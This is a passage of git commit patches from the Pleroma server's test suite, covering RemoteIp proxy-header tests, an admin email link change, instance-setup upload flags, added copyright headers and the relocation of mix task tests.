6 Oct 2020 17:08:26 -0500 Subject: Add test for an entry without CIDR format --- test/plugs/remote_ip_test.exs | 11 +++++++++++ 1 file changed, 11 insertions(+) (limited to 'test') diff --git a/test/plugs/remote_ip_test.exs b/test/plugs/remote_ip_test.exs index 2dd1ac1f8..849c7fc3d 100644 --- a/test/plugs/remote_ip_test.exs +++ b/test/plugs/remote_ip_test.exs @@ -82,4 +82,15 @@ defmodule Pleroma.Plugs.RemoteIpTest do assert conn.remote_ip == {1, 1, 1, 1} end + + test "proxies set without CIDR format" do + Pleroma.Config.put([RemoteIp, :proxies], ["173.245.48.1"]) + + conn = + conn(:get, "/") + |> put_req_header("x-forwarded-for", "173.245.48.1, 1.1.1.1") + |> RemoteIp.call(nil) + + assert conn.remote_ip == {1, 1, 1, 1} + end end -- cgit v1.2.3 From d0eca5b12518b0b98ef53003d60b08a78decf35f Mon Sep 17 00:00:00 2001 From: feld Date: Wed, 7 Oct 2020 19:16:53 +0000 Subject: Apply 2 suggestion(s) to 2 file(s) --- test/plugs/remote_ip_test.exs | 13 +++++++++++++ 1 file changed, 13 insertions(+) (limited to 'test') diff --git a/test/plugs/remote_ip_test.exs b/test/plugs/remote_ip_test.exs index 849c7fc3d..2da9f616b 100644 --- a/test/plugs/remote_ip_test.exs +++ b/test/plugs/remote_ip_test.exs @@ -92,5 +92,18 @@ defmodule Pleroma.Plugs.RemoteIpTest do |> RemoteIp.call(nil) assert conn.remote_ip == {1, 1, 1, 1} + + test "proxies set `nonsensical` CIDR" do + Pleroma.Config.put([RemoteIp, :reserved], ["127.0.0.0/8"]) + Pleroma.Config.put([RemoteIp, :proxies], ["10.0.0.3/24"]) + + conn = + conn(:get, "/") + |> put_req_header("x-forwarded-for", "10.0.0.3, 1.1.1.1") + |> RemoteIp.call(nil) + + assert conn.remote_ip == {1, 1, 1, 1} + end + end end -- cgit v1.2.3 From 8bfc5d9a0cf96739a6a73eae3c1d96277da8ae1b Mon Sep 17 00:00:00 2001 From: Maksim Date: Wed, 7 Oct 2020 19:32:09 +0000 Subject: Apply 1 suggestion(s) to 1 file(s) --- test/plugs/remote_ip_test.exs | 1 + 1 file changed, 1 insertion(+) (limited to 'test') diff --git a/test/plugs/remote_ip_test.exs b/test/plugs/remote_ip_test.exs index 2da9f616b..5f1b8a539 100644 --- a/test/plugs/remote_ip_test.exs +++ b/test/plugs/remote_ip_test.exs @@ -92,6 +92,7 @@ defmodule Pleroma.Plugs.RemoteIpTest do |> RemoteIp.call(nil) assert conn.remote_ip == {1, 1, 1, 1} + end test "proxies set `nonsensical` CIDR" do Pleroma.Config.put([RemoteIp, :reserved], ["127.0.0.0/8"]) -- cgit v1.2.3 From 6ee20eb3285a99fab880150a9dfeebadc46fde76 Mon Sep 17 00:00:00 2001 From: Maksim Date: Wed, 7 Oct 2020 19:32:42 +0000 Subject: Apply 1 suggestion(s) to 1 file(s) --- test/plugs/remote_ip_test.exs | 1 - 1 file changed, 1 deletion(-) (limited to 'test') diff --git a/test/plugs/remote_ip_test.exs b/test/plugs/remote_ip_test.exs index 5f1b8a539..b45baf75f 100644 --- a/test/plugs/remote_ip_test.exs +++ b/test/plugs/remote_ip_test.exs @@ -104,7 +104,6 @@ defmodule Pleroma.Plugs.RemoteIpTest do |> RemoteIp.call(nil) assert conn.remote_ip == {1, 1, 1, 1} - end end end -- cgit v1.2.3 From a702f9fb5bff78c99014838eb8f678c30913bd59 Mon Sep 17 00:00:00 2001 From: Mark Felder Date: Wed, 7 Oct 2020 15:07:03 -0500 Subject: Lint --- test/plugs/remote_ip_test.exs | 1 - 1 file changed, 1 deletion(-) (limited to 'test') diff --git a/test/plugs/remote_ip_test.exs b/test/plugs/remote_ip_test.exs index b45baf75f..6d01c812d 100644 --- a/test/plugs/remote_ip_test.exs +++ b/test/plugs/remote_ip_test.exs @@ -104,6 +104,5 @@ defmodule Pleroma.Plugs.RemoteIpTest do |> RemoteIp.call(nil) assert conn.remote_ip == {1, 1, 1, 1} - end end -- cgit v1.2.3 From 3ca98878d27478037233a92f72adb3fbade62035 Mon Sep 17 00:00:00 2001 From: Mark Felder Date: Fri, 9 Oct 2020 17:08:05 -0500 Subject: Deep link to the user account in AdminFE in account confirmation emails --- test/emails/admin_email_test.exs | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) (limited to 'test') diff --git a/test/emails/admin_email_test.exs b/test/emails/admin_email_test.exs index e24231e27..155057f3e 100644 --- a/test/emails/admin_email_test.exs +++ b/test/emails/admin_email_test.exs @@ -63,7 +63,7 @@ defmodule Pleroma.Emails.AdminEmailTest do assert res.html_body == """

New account for review: @#{account.nickname}

Plz let me in
- Visit AdminFE + Visit AdminFE """ end end -- cgit v1.2.3 From 6c61ef14c3f48910c52e17c68fce175682717962 Mon Sep 17 00:00:00 2001 From: Mark Felder Date: Mon, 12 Oct 2020 11:18:39 -0500 Subject: Support enabling upload filters during instance gen --- test/tasks/instance_test.exs | 9 ++++++++- 1 file changed, 8 insertions(+), 1 deletion(-) (limited to 'test') diff --git a/test/tasks/instance_test.exs b/test/tasks/instance_test.exs index 3b4c041d9..914ccb10a 100644 --- a/test/tasks/instance_test.exs +++ b/test/tasks/instance_test.exs @@ -63,7 +63,13 @@ defmodule Pleroma.InstanceTest do "--uploads-dir", "test/uploads", "--static-dir", - "./test/../test/instance/static/" + "./test/../test/instance/static/", + "--strip-uploads", + "y", + "--dedupe-uploads", + "n", + "--anonymize-uploads", + "n" ]) end @@ -82,6 +88,7 @@ defmodule Pleroma.InstanceTest do assert generated_config =~ "password: \"dbpass\"" assert generated_config =~ "configurable_from_database: true" assert generated_config =~ "http: [ip: {127, 0, 0, 1}, port: 4000]" + assert generated_config =~ "filters: [Pleroma.Upload.Filter.ExifTool]" assert File.read!(tmp_path() <> "setup.psql") == generated_setup_psql() assert File.exists?(Path.expand("./test/instance/static/robots.txt")) end -- cgit v1.2.3 From 8539e386c3f00537f120487e717ec7b25fe6c572 Mon Sep 17 00:00:00 2001 From: Mark Felder Date: Mon, 12 Oct 2020 12:00:50 -0500 Subject: Add missing Copyright headers --- test/activity/ir/topics_test.exs | 4 ++++ test/config/deprecation_warnings_test.exs | 4 ++++ test/docs/generator_test.exs | 4 ++++ test/fixtures/config/temp.secret.exs | 4 ++++ test/mfa/backup_codes_test.exs | 4 ++++ test/mfa/totp_test.exs | 4 ++++ test/migrations/20200716195806_autolinker_to_linkify_test.exs | 4 ++++ .../migrations/20200722185515_fix_malformed_formatter_config_test.exs | 4 ++++ test/migrations/20200724133313_move_welcome_settings_test.exs | 4 ++++ test/migrations/20200802170532_fix_legacy_tags_test.exs | 4 ++++ test/safe_jsonb_set_test.exs | 4 ++++ test/tasks/digest_test.exs | 4 ++++ test/tasks/email_test.exs | 4 ++++ test/tasks/emoji_test.exs | 4 ++++ test/web/activity_pub/mrf/mrf_test.exs | 4 ++++ test/web/activity_pub/object_validators/types/date_time_test.exs | 4 ++++ test/web/activity_pub/object_validators/types/recipients_test.exs | 4 ++++ test/web/chat_channel_test.exs | 4 ++++ test/web/media_proxy/invalidation_test.exs | 4 ++++ test/web/media_proxy/invalidations/http_test.exs | 4 ++++ test/web/media_proxy/invalidations/script_test.exs | 4 ++++ .../controllers/two_factor_authentication_controller_test.exs | 4 ++++ test/web/static_fe/static_fe_controller_test.exs | 4 ++++ 23 files changed, 92 insertions(+) (limited to 'test') diff --git a/test/activity/ir/topics_test.exs b/test/activity/ir/topics_test.exs index 14a6e6b71..4ddcea1ec 100644 --- a/test/activity/ir/topics_test.exs +++ b/test/activity/ir/topics_test.exs @@ -1,3 +1,7 @@ +# Pleroma: A lightweight social networking server +# Copyright © 2017-2020 Pleroma Authors +# SPDX-License-Identifier: AGPL-3.0-only + defmodule Pleroma.Activity.Ir.TopicsTest do use Pleroma.DataCase diff --git a/test/config/deprecation_warnings_test.exs b/test/config/deprecation_warnings_test.exs index f81a7b580..02ada1aab 100644 --- a/test/config/deprecation_warnings_test.exs +++ b/test/config/deprecation_warnings_test.exs @@ -1,3 +1,7 @@ +# Pleroma: A lightweight social networking server +# Copyright © 2017-2020 Pleroma Authors +# SPDX-License-Identifier: AGPL-3.0-only + defmodule Pleroma.Config.DeprecationWarningsTest do use ExUnit.Case use Pleroma.Tests.Helpers diff --git a/test/docs/generator_test.exs b/test/docs/generator_test.exs index b32918a69..43877244d 100644 --- a/test/docs/generator_test.exs +++ b/test/docs/generator_test.exs @@ -1,3 +1,7 @@ +# Pleroma: A lightweight social networking server +# Copyright © 2017-2020 Pleroma Authors +# SPDX-License-Identifier: AGPL-3.0-only + defmodule Pleroma.Docs.GeneratorTest do use ExUnit.Case, async: true alias Pleroma.Docs.Generator diff --git a/test/fixtures/config/temp.secret.exs b/test/fixtures/config/temp.secret.exs index fa8c7c7e8..621bc8cf6 100644 --- a/test/fixtures/config/temp.secret.exs +++ b/test/fixtures/config/temp.secret.exs @@ -1,3 +1,7 @@ +# Pleroma: A lightweight social networking server +# Copyright © 2017-2020 Pleroma Authors +# SPDX-License-Identifier: AGPL-3.0-only + use Mix.Config config :pleroma, :first_setting, key: "value", key2: [Pleroma.Repo] diff --git a/test/mfa/backup_codes_test.exs b/test/mfa/backup_codes_test.exs index 7bc01b36b..41adb1e96 100644 --- a/test/mfa/backup_codes_test.exs +++ b/test/mfa/backup_codes_test.exs @@ -1,3 +1,7 @@ +# Pleroma: A lightweight social networking server +# Copyright © 2017-2020 Pleroma Authors +# SPDX-License-Identifier: AGPL-3.0-only + defmodule Pleroma.MFA.BackupCodesTest do use Pleroma.DataCase diff --git a/test/mfa/totp_test.exs b/test/mfa/totp_test.exs index 50153d208..9edb6fd54 100644 --- a/test/mfa/totp_test.exs +++ b/test/mfa/totp_test.exs @@ -1,3 +1,7 @@ +# Pleroma: A lightweight social networking server +# Copyright © 2017-2020 Pleroma Authors +# SPDX-License-Identifier: AGPL-3.0-only + defmodule Pleroma.MFA.TOTPTest do use Pleroma.DataCase diff --git a/test/migrations/20200716195806_autolinker_to_linkify_test.exs b/test/migrations/20200716195806_autolinker_to_linkify_test.exs index 250d11c61..84f520fe4 100644 --- a/test/migrations/20200716195806_autolinker_to_linkify_test.exs +++ b/test/migrations/20200716195806_autolinker_to_linkify_test.exs @@ -1,3 +1,7 @@ +# Pleroma: A lightweight social networking server +# Copyright © 2017-2020 Pleroma Authors +# SPDX-License-Identifier: AGPL-3.0-only + defmodule Pleroma.Repo.Migrations.AutolinkerToLinkifyTest do use Pleroma.DataCase import Pleroma.Factory diff --git a/test/migrations/20200722185515_fix_malformed_formatter_config_test.exs b/test/migrations/20200722185515_fix_malformed_formatter_config_test.exs index d3490478e..61528599a 100644 --- a/test/migrations/20200722185515_fix_malformed_formatter_config_test.exs +++ b/test/migrations/20200722185515_fix_malformed_formatter_config_test.exs @@ -1,3 +1,7 @@ +# Pleroma: A lightweight social networking server +# Copyright © 2017-2020 Pleroma Authors +# SPDX-License-Identifier: AGPL-3.0-only + defmodule Pleroma.Repo.Migrations.FixMalformedFormatterConfigTest do use Pleroma.DataCase import Pleroma.Factory diff --git a/test/migrations/20200724133313_move_welcome_settings_test.exs b/test/migrations/20200724133313_move_welcome_settings_test.exs index 739f24547..53d05a55a 100644 --- a/test/migrations/20200724133313_move_welcome_settings_test.exs +++ b/test/migrations/20200724133313_move_welcome_settings_test.exs @@ -1,3 +1,7 @@ +# Pleroma: A lightweight social networking server +# Copyright © 2017-2020 Pleroma Authors +# SPDX-License-Identifier: AGPL-3.0-only + defmodule Pleroma.Repo.Migrations.MoveWelcomeSettingsTest do use Pleroma.DataCase import Pleroma.Factory diff --git a/test/migrations/20200802170532_fix_legacy_tags_test.exs b/test/migrations/20200802170532_fix_legacy_tags_test.exs index 3b4dee407..432055e45 100644 --- a/test/migrations/20200802170532_fix_legacy_tags_test.exs +++ b/test/migrations/20200802170532_fix_legacy_tags_test.exs @@ -1,3 +1,7 @@ +# Pleroma: A lightweight social networking server +# Copyright © 2017-2020 Pleroma Authors +# SPDX-License-Identifier: AGPL-3.0-only + defmodule Pleroma.Repo.Migrations.FixLegacyTagsTest do alias Pleroma.User use Pleroma.DataCase diff --git a/test/safe_jsonb_set_test.exs b/test/safe_jsonb_set_test.exs index 748540570..8b1274545 100644 --- a/test/safe_jsonb_set_test.exs +++ b/test/safe_jsonb_set_test.exs @@ -1,3 +1,7 @@ +# Pleroma: A lightweight social networking server +# Copyright © 2017-2020 Pleroma Authors +# SPDX-License-Identifier: AGPL-3.0-only + defmodule Pleroma.SafeJsonbSetTest do use Pleroma.DataCase diff --git a/test/tasks/digest_test.exs b/test/tasks/digest_test.exs index 0b444c86d..69dccb745 100644 --- a/test/tasks/digest_test.exs +++ b/test/tasks/digest_test.exs @@ -1,3 +1,7 @@ +# Pleroma: A lightweight social networking server +# Copyright © 2017-2020 Pleroma Authors +# SPDX-License-Identifier: AGPL-3.0-only + defmodule Mix.Tasks.Pleroma.DigestTest do use Pleroma.DataCase diff --git a/test/tasks/email_test.exs b/test/tasks/email_test.exs index 5393e3573..9523aefd8 100644 --- a/test/tasks/email_test.exs +++ b/test/tasks/email_test.exs @@ -1,3 +1,7 @@ +# Pleroma: A lightweight social networking server +# Copyright © 2017-2020 Pleroma Authors +# SPDX-License-Identifier: AGPL-3.0-only + defmodule Mix.Tasks.Pleroma.EmailTest do use Pleroma.DataCase diff --git a/test/tasks/emoji_test.exs b/test/tasks/emoji_test.exs index 499f098c2..0fb8603ac 100644 --- a/test/tasks/emoji_test.exs +++ b/test/tasks/emoji_test.exs @@ -1,3 +1,7 @@ +# Pleroma: A lightweight social networking server +# Copyright © 2017-2020 Pleroma Authors +# SPDX-License-Identifier: AGPL-3.0-only + defmodule Mix.Tasks.Pleroma.EmojiTest do use ExUnit.Case, async: true diff --git a/test/web/activity_pub/mrf/mrf_test.exs b/test/web/activity_pub/mrf/mrf_test.exs index e82c8afa6..e8cdde2e1 100644 --- a/test/web/activity_pub/mrf/mrf_test.exs +++ b/test/web/activity_pub/mrf/mrf_test.exs @@ -1,3 +1,7 @@ +# Pleroma: A lightweight social networking server +# Copyright © 2017-2020 Pleroma Authors +# SPDX-License-Identifier: AGPL-3.0-only + defmodule Pleroma.Web.ActivityPub.MRFTest do use ExUnit.Case, async: true use Pleroma.Tests.Helpers diff --git a/test/web/activity_pub/object_validators/types/date_time_test.exs b/test/web/activity_pub/object_validators/types/date_time_test.exs index 43be8e936..10310c801 100644 --- a/test/web/activity_pub/object_validators/types/date_time_test.exs +++ b/test/web/activity_pub/object_validators/types/date_time_test.exs @@ -1,3 +1,7 @@ +# Pleroma: A lightweight social networking server +# Copyright © 2017-2020 Pleroma Authors +# SPDX-License-Identifier: AGPL-3.0-only + defmodule Pleroma.Web.ActivityPub.ObjectValidators.Types.DateTimeTest do alias Pleroma.EctoType.ActivityPub.ObjectValidators.DateTime use Pleroma.DataCase diff --git a/test/web/activity_pub/object_validators/types/recipients_test.exs b/test/web/activity_pub/object_validators/types/recipients_test.exs index 053916bdd..c09265f0d 100644 --- a/test/web/activity_pub/object_validators/types/recipients_test.exs +++ b/test/web/activity_pub/object_validators/types/recipients_test.exs @@ -1,3 +1,7 @@ +# Pleroma: A lightweight social networking server +# Copyright © 2017-2020 Pleroma Authors +# SPDX-License-Identifier: AGPL-3.0-only + defmodule Pleroma.Web.ObjectValidators.Types.RecipientsTest do alias Pleroma.EctoType.ActivityPub.ObjectValidators.Recipients use Pleroma.DataCase diff --git a/test/web/chat_channel_test.exs b/test/web/chat_channel_test.exs index f18f3a212..32170873d 100644 --- a/test/web/chat_channel_test.exs +++ b/test/web/chat_channel_test.exs @@ -1,3 +1,7 @@ +# Pleroma: A lightweight social networking server +# Copyright © 2017-2020 Pleroma Authors +# SPDX-License-Identifier: AGPL-3.0-only + defmodule Pleroma.Web.ChatChannelTest do use Pleroma.Web.ChannelCase alias Pleroma.Web.ChatChannel diff --git a/test/web/media_proxy/invalidation_test.exs b/test/web/media_proxy/invalidation_test.exs index 926ae74ca..aa1435ac0 100644 --- a/test/web/media_proxy/invalidation_test.exs +++ b/test/web/media_proxy/invalidation_test.exs @@ -1,3 +1,7 @@ +# Pleroma: A lightweight social networking server +# Copyright © 2017-2020 Pleroma Authors +# SPDX-License-Identifier: AGPL-3.0-only + defmodule Pleroma.Web.MediaProxy.InvalidationTest do use ExUnit.Case use Pleroma.Tests.Helpers diff --git a/test/web/media_proxy/invalidations/http_test.exs b/test/web/media_proxy/invalidations/http_test.exs index a1bef5237..13d081325 100644 --- a/test/web/media_proxy/invalidations/http_test.exs +++ b/test/web/media_proxy/invalidations/http_test.exs @@ -1,3 +1,7 @@ +# Pleroma: A lightweight social networking server +# Copyright © 2017-2020 Pleroma Authors +# SPDX-License-Identifier: AGPL-3.0-only + defmodule Pleroma.Web.MediaProxy.Invalidation.HttpTest do use ExUnit.Case alias Pleroma.Web.MediaProxy.Invalidation diff --git a/test/web/media_proxy/invalidations/script_test.exs b/test/web/media_proxy/invalidations/script_test.exs index 51833ab18..692cbb2df 100644 --- a/test/web/media_proxy/invalidations/script_test.exs +++ b/test/web/media_proxy/invalidations/script_test.exs @@ -1,3 +1,7 @@ +# Pleroma: A lightweight social networking server +# Copyright © 2017-2020 Pleroma Authors +# SPDX-License-Identifier: AGPL-3.0-only + defmodule Pleroma.Web.MediaProxy.Invalidation.ScriptTest do use ExUnit.Case alias Pleroma.Web.MediaProxy.Invalidation diff --git a/test/web/pleroma_api/controllers/two_factor_authentication_controller_test.exs b/test/web/pleroma_api/controllers/two_factor_authentication_controller_test.exs index d23d08a00..22988c881 100644 --- a/test/web/pleroma_api/controllers/two_factor_authentication_controller_test.exs +++ b/test/web/pleroma_api/controllers/two_factor_authentication_controller_test.exs @@ -1,3 +1,7 @@ +# Pleroma: A lightweight social networking server +# Copyright © 2017-2020 Pleroma Authors +# SPDX-License-Identifier: AGPL-3.0-only + defmodule Pleroma.Web.PleromaAPI.TwoFactorAuthenticationControllerTest do use Pleroma.Web.ConnCase diff --git a/test/web/static_fe/static_fe_controller_test.exs b/test/web/static_fe/static_fe_controller_test.exs index 1598bf675..f819a1e52 100644 --- a/test/web/static_fe/static_fe_controller_test.exs +++ b/test/web/static_fe/static_fe_controller_test.exs @@ -1,3 +1,7 @@ +# Pleroma: A lightweight social networking server +# Copyright © 2017-2020 Pleroma Authors +# SPDX-License-Identifier: AGPL-3.0-only + defmodule Pleroma.Web.StaticFE.StaticFEControllerTest do use Pleroma.Web.ConnCase -- cgit v1.2.3 From 83ae45b000261d3e03a4b554064350a5ead172c3 Mon Sep 17 00:00:00 2001 From: Alex Gleason Date: Mon, 12 Oct 2020 18:49:37 -0500 Subject: Preload `/api/pleroma/frontend_configurations`, fixes #1932 --- test/web/preload/instance_test.exs | 8 ++++++++ 1 file changed, 8 insertions(+) (limited to 'test') diff --git a/test/web/preload/instance_test.exs b/test/web/preload/instance_test.exs index a46f28312..8493f2a94 100644 --- a/test/web/preload/instance_test.exs +++ b/test/web/preload/instance_test.exs @@ -45,4 +45,12 @@ defmodule Pleroma.Web.Preload.Providers.InstanceTest do assert metadata.private == false assert metadata.suggestions == %{enabled: false} end + + test "it renders the frontend configurations", %{ + "/api/pleroma/frontend_configurations" => fe_configs + } do + assert %{ + pleroma_fe: %{background: "/images/city.jpg", logo: "/static/logo.png"} + } = fe_configs + end end -- cgit v1.2.3 From 6bf85440b373c9b2fa1e8e7184dcf87518600306 Mon Sep 17 00:00:00 2001 From: Alexander Strizhakov Date: Sat, 20 Jun 2020 19:09:04 +0300 Subject: mix tasks consistency --- test/mix/pleroma_test.exs | 50 ++ test/mix/tasks/pleroma/app_test.exs | 65 +++ test/mix/tasks/pleroma/config_test.exs | 189 +++++++ test/mix/tasks/pleroma/count_statuses_test.exs | 39 ++ test/mix/tasks/pleroma/database_test.exs | 175 ++++++ test/mix/tasks/pleroma/digest_test.exs | 60 ++ test/mix/tasks/pleroma/ecto/migrate_test.exs | 20 + test/mix/tasks/pleroma/ecto/rollback_test.exs | 20 + test/mix/tasks/pleroma/ecto_test.exs | 15 + test/mix/tasks/pleroma/email_test.exs | 127 +++++ test/mix/tasks/pleroma/emoji_test.exs | 243 ++++++++ test/mix/tasks/pleroma/frontend_test.exs | 85 +++ test/mix/tasks/pleroma/instance_test.exs | 99 ++++ .../tasks/pleroma/refresh_counter_cache_test.exs | 43 ++ test/mix/tasks/pleroma/relay_test.exs | 180 ++++++ test/mix/tasks/pleroma/robots_txt_test.exs | 45 ++ test/mix/tasks/pleroma/uploads_test.exs | 56 ++ test/mix/tasks/pleroma/user_test.exs | 614 +++++++++++++++++++++ test/tasks/app_test.exs | 65 --- test/tasks/config_test.exs | 189 ------- test/tasks/count_statuses_test.exs | 39 -- test/tasks/database_test.exs | 175 ------ test/tasks/digest_test.exs | 60 -- test/tasks/ecto/ecto_test.exs | 15 - test/tasks/ecto/migrate_test.exs | 20 - test/tasks/ecto/rollback_test.exs | 20 - test/tasks/email_test.exs | 127 ----- test/tasks/emoji_test.exs | 243 -------- test/tasks/frontend_test.exs | 85 --- test/tasks/instance_test.exs | 99 ---- test/tasks/pleroma_test.exs | 50 -- test/tasks/refresh_counter_cache_test.exs | 43 -- test/tasks/relay_test.exs | 180 ------ test/tasks/robots_txt_test.exs | 45 -- test/tasks/uploads_test.exs | 56 -- test/tasks/user_test.exs | 614 --------------------- 36 files changed, 2125 insertions(+), 2125 deletions(-) create mode 100644 test/mix/pleroma_test.exs create mode 100644 test/mix/tasks/pleroma/app_test.exs create mode 100644 test/mix/tasks/pleroma/config_test.exs create mode 100644 test/mix/tasks/pleroma/count_statuses_test.exs create mode 100644 test/mix/tasks/pleroma/database_test.exs create mode 100644 test/mix/tasks/pleroma/digest_test.exs create mode 100644 test/mix/tasks/pleroma/ecto/migrate_test.exs create mode 100644 test/mix/tasks/pleroma/ecto/rollback_test.exs create mode 100644 test/mix/tasks/pleroma/ecto_test.exs create mode 100644 test/mix/tasks/pleroma/email_test.exs create mode 100644 test/mix/tasks/pleroma/emoji_test.exs create mode 100644 test/mix/tasks/pleroma/frontend_test.exs create mode 100644 test/mix/tasks/pleroma/instance_test.exs create mode 100644 test/mix/tasks/pleroma/refresh_counter_cache_test.exs create mode 100644 test/mix/tasks/pleroma/relay_test.exs create mode 100644 test/mix/tasks/pleroma/robots_txt_test.exs create mode 100644 test/mix/tasks/pleroma/uploads_test.exs create mode 100644 test/mix/tasks/pleroma/user_test.exs delete mode 100644 test/tasks/app_test.exs delete mode 100644 test/tasks/config_test.exs delete mode 100644 test/tasks/count_statuses_test.exs delete mode 100644 test/tasks/database_test.exs delete mode 100644 test/tasks/digest_test.exs delete mode 100644 test/tasks/ecto/ecto_test.exs delete mode 100644 test/tasks/ecto/migrate_test.exs delete mode 100644 test/tasks/ecto/rollback_test.exs delete mode 100644 test/tasks/email_test.exs delete mode 100644 test/tasks/emoji_test.exs delete mode 100644 test/tasks/frontend_test.exs delete mode 100644 test/tasks/instance_test.exs delete mode 100644 test/tasks/pleroma_test.exs delete mode 100644 test/tasks/refresh_counter_cache_test.exs delete mode 100644 test/tasks/relay_test.exs delete mode 100644 test/tasks/robots_txt_test.exs delete mode 100644 test/tasks/uploads_test.exs delete mode 100644 test/tasks/user_test.exs (limited to 'test') diff --git a/test/mix/pleroma_test.exs b/test/mix/pleroma_test.exs new file mode 100644 index 000000000..c3e47b285 --- /dev/null +++ b/test/mix/pleroma_test.exs @@ -0,0 +1,50 @@ +# Pleroma: A lightweight social networking server +# Copyright © 2017-2020 Pleroma Authors +# SPDX-License-Identifier: AGPL-3.0-only + +defmodule Mix.PleromaTest do + use ExUnit.Case, async: true + import Mix.Pleroma + + setup_all do + Mix.shell(Mix.Shell.Process) + + on_exit(fn -> + Mix.shell(Mix.Shell.IO) + end) + + :ok + end + + describe "shell_prompt/1" do + test "input" do + send(self(), {:mix_shell_input, :prompt, "Yes"}) + + answer = shell_prompt("Do you want this?") + assert_received {:mix_shell, :prompt, [message]} + assert message =~ "Do you want this?" + assert answer == "Yes" + end + + test "with defval" do + send(self(), {:mix_shell_input, :prompt, "\n"}) + + answer = shell_prompt("Do you want this?", "defval") + + assert_received {:mix_shell, :prompt, [message]} + assert message =~ "Do you want this? [defval]" + assert answer == "defval" + end + end + + describe "get_option/3" do + test "get from options" do + assert get_option([domain: "some-domain.com"], :domain, "Promt") == "some-domain.com" + end + + test "get from prompt" do + send(self(), {:mix_shell_input, :prompt, "another-domain.com"}) + assert get_option([], :domain, "Prompt") == "another-domain.com" + end + end +end diff --git a/test/mix/tasks/pleroma/app_test.exs b/test/mix/tasks/pleroma/app_test.exs new file mode 100644 index 000000000..71a84ac8e --- /dev/null +++ b/test/mix/tasks/pleroma/app_test.exs @@ -0,0 +1,65 @@ +# Pleroma: A lightweight social networking server +# Copyright © 2017-2020 Pleroma Authors +# SPDX-License-Identifier: AGPL-3.0-only + +defmodule Mix.Tasks.Pleroma.AppTest do + use Pleroma.DataCase, async: true + + setup_all do + Mix.shell(Mix.Shell.Process) + + on_exit(fn -> + Mix.shell(Mix.Shell.IO) + end) + end + + describe "creates new app" do + test "with default scopes" do + name = "Some name" + redirect = "https://example.com" + Mix.Tasks.Pleroma.App.run(["create", "-n", name, "-r", redirect]) + + assert_app(name, redirect, ["read", "write", "follow", "push"]) + end + + test "with custom scopes" do + name = "Another name" + redirect = "https://example.com" + + Mix.Tasks.Pleroma.App.run([ + "create", + "-n", + name, + "-r", + redirect, + "-s", + "read,write,follow,push,admin" + ]) + + assert_app(name, redirect, ["read", "write", "follow", "push", "admin"]) + end + end + + test "with errors" do + Mix.Tasks.Pleroma.App.run(["create"]) + {:mix_shell, :error, ["Creating failed:"]} + {:mix_shell, :error, ["name: can't be blank"]} + {:mix_shell, :error, ["redirect_uris: can't be blank"]} + end + + defp assert_app(name, redirect, scopes) do + app = Repo.get_by(Pleroma.Web.OAuth.App, client_name: name) + + assert_receive {:mix_shell, :info, [message]} + assert message == "#{name} successfully created:" + + assert_receive {:mix_shell, :info, [message]} + assert message == "App client_id: #{app.client_id}" + + assert_receive {:mix_shell, :info, [message]} + assert message == "App client_secret: #{app.client_secret}" + + assert app.scopes == scopes + assert app.redirect_uris == redirect + end +end diff --git a/test/mix/tasks/pleroma/config_test.exs b/test/mix/tasks/pleroma/config_test.exs new file mode 100644 index 000000000..f36648829 --- /dev/null +++ b/test/mix/tasks/pleroma/config_test.exs @@ -0,0 +1,189 @@ +# Pleroma: A lightweight social networking server +# Copyright © 2017-2020 Pleroma Authors +# SPDX-License-Identifier: AGPL-3.0-only + +defmodule Mix.Tasks.Pleroma.ConfigTest do + use Pleroma.DataCase + + import Pleroma.Factory + + alias Pleroma.ConfigDB + alias Pleroma.Repo + + setup_all do + Mix.shell(Mix.Shell.Process) + + on_exit(fn -> + Mix.shell(Mix.Shell.IO) + Application.delete_env(:pleroma, :first_setting) + Application.delete_env(:pleroma, :second_setting) + end) + + :ok + end + + setup_all do: clear_config(:configurable_from_database, true) + + test "error if file with custom settings doesn't exist" do + Mix.Tasks.Pleroma.Config.migrate_to_db("config/not_existance_config_file.exs") + + assert_receive {:mix_shell, :info, + [ + "To migrate settings, you must define custom settings in config/not_existance_config_file.exs." + ]}, + 15 + end + + describe "migrate_to_db/1" do + setup do + initial = Application.get_env(:quack, :level) + on_exit(fn -> Application.put_env(:quack, :level, initial) end) + end + + @tag capture_log: true + test "config migration refused when deprecated settings are found" do + clear_config([:media_proxy, :whitelist], ["domain_without_scheme.com"]) + assert Repo.all(ConfigDB) == [] + + Mix.Tasks.Pleroma.Config.migrate_to_db("test/fixtures/config/temp.secret.exs") + + assert_received {:mix_shell, :error, [message]} + + assert message =~ + "Migration is not allowed until all deprecation warnings have been resolved." + end + + test "filtered settings are migrated to db" do + assert Repo.all(ConfigDB) == [] + + Mix.Tasks.Pleroma.Config.migrate_to_db("test/fixtures/config/temp.secret.exs") + + config1 = ConfigDB.get_by_params(%{group: ":pleroma", key: ":first_setting"}) + config2 = ConfigDB.get_by_params(%{group: ":pleroma", key: ":second_setting"}) + config3 = ConfigDB.get_by_params(%{group: ":quack", key: ":level"}) + refute ConfigDB.get_by_params(%{group: ":pleroma", key: "Pleroma.Repo"}) + refute ConfigDB.get_by_params(%{group: ":postgrex", key: ":json_library"}) + refute ConfigDB.get_by_params(%{group: ":pleroma", key: ":database"}) + + assert config1.value == [key: "value", key2: [Repo]] + assert config2.value == [key: "value2", key2: ["Activity"]] + assert config3.value == :info + end + + test "config table is truncated before migration" do + insert(:config, key: :first_setting, value: [key: "value", key2: ["Activity"]]) + assert Repo.aggregate(ConfigDB, :count, :id) == 1 + + Mix.Tasks.Pleroma.Config.migrate_to_db("test/fixtures/config/temp.secret.exs") + + config = ConfigDB.get_by_params(%{group: ":pleroma", key: ":first_setting"}) + assert config.value == [key: "value", key2: [Repo]] + end + end + + describe "with deletion temp file" do + setup do + temp_file = "config/temp.exported_from_db.secret.exs" + + on_exit(fn -> + :ok = File.rm(temp_file) + end) + + {:ok, temp_file: temp_file} + end + + test "settings are migrated to file and deleted from db", %{temp_file: temp_file} do + insert(:config, key: :setting_first, value: [key: "value", key2: ["Activity"]]) + insert(:config, key: :setting_second, value: [key: "value2", key2: [Repo]]) + insert(:config, group: :quack, key: :level, value: :info) + + Mix.Tasks.Pleroma.Config.run(["migrate_from_db", "--env", "temp", "-d"]) + + assert Repo.all(ConfigDB) == [] + + file = File.read!(temp_file) + assert file =~ "config :pleroma, :setting_first," + assert file =~ "config :pleroma, :setting_second," + assert file =~ "config :quack, :level, :info" + end + + test "load a settings with large values and pass to file", %{temp_file: temp_file} do + insert(:config, + key: :instance, + value: [ + name: "Pleroma", + email: "example@example.com", + notify_email: "noreply@example.com", + description: "A 